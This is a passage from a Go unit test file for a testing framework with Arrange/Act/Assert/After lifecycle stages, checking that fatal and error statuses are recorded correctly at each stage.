*TestCase 496 | wantLifecycle string 497 | }{ 498 | constants.LifecycleArrange: { 499 | testCase: &TestCase{ 500 | Arrange: func(t *TD) { 501 | t.Fatal() 502 | }, 503 | }, 504 | wantLifecycle: constants.LifecycleArrange, 505 | }, 506 | constants.LifecycleAct: { 507 | testCase: &TestCase{ 508 | Act: func(t *TD) { 509 | t.Fatal() 510 | }, 511 | }, 512 | wantLifecycle: constants.LifecycleAct, 513 | }, 514 | constants.LifecycleAssert: { 515 | testCase: &TestCase{ 516 | Assert: func(t *TD) { 517 | t.Fatal() 518 | }, 519 | }, 520 | wantLifecycle: constants.LifecycleAssert, 521 | }, 522 | constants.LifecycleAfter: { 523 | testCase: &TestCase{ 524 | After: func(t *TD) { 525 | t.Fatal() 526 | }, 527 | }, 528 | wantLifecycle: constants.LifecycleAfter, 529 | }, 530 | } 531 | 532 | for name, tc := range cases { 533 | t.Run(name, func(t *testing.T) { 534 | // Arrange 535 | mock := newMockT() 536 | 537 | // Act 538 | td := Test(mock, tc.testCase, TestConfig{ParallelOff: true}) 539 | 540 | // Assert 541 | assert.Equal(t, constants.Status{ 542 | Status: constants.StatusFail, 543 | Lifecycle: tc.wantLifecycle, 544 | Fatal: true, 545 | }, td.statuses[0]) 546 | assert.Equal(t, constants.Status{ 547 | Status: constants.StatusFail, 548 | Lifecycle: constants.LifecycleTestFinished, 549 | Fatal: true, 550 | }, td.statuses[1]) 551 | }) 552 | } 553 | } 554 | 555 | func Test_TestWithErrorAndFatal_ShouldBeMarkedFatalAfterFatal(t *testing.T) { 556 | // Arrange 557 | mock := newMockT() 558 | 559 | // Act 560 | td := Test(mock, &TestCase{ 561 | Act: func(t *TD) { 562 | t.Error() 563 | t.Fatal() 564 | }, 565 | }, TestConfig{ParallelOff: true}) 566 | 567 | // Assert 568 | assert.Equal(t, constants.Status{ 569 | Status: constants.StatusFail, 570 | Lifecycle: constants.LifecycleAct, 571 | Fatal: false, 572 | }, td.statuses[0]) 573 | assert.Equal(t, constants.Status{ 574 | Status: constants.StatusFail, 575 | Lifecycle: constants.LifecycleAct, 576 | Fatal: true, 577 | }, td.statuses[1]) 578 | assert.Equal(t, constants.Status{ 579 | Status: constants.StatusFail, 580 | Lifecycle: constants.LifecycleTestFinished, 581 | Fatal: true, 582 | }, td.statuses[2]) 583 | } 584 | 585 | func Test_TestingT_RunShouldPass(t *testing.T) { 586 | // Arrange 587 | test := &TestCase{} 588 | test.Act = func(t *TD) {} 589 | name := Fname() 590 | 591 | // Act 592 | test.Run(t, name) 593 | 594 | // Assert 595 | assert.False(t, t.Failed()) 596 | } 597 | --------------------------------------------------------------------------------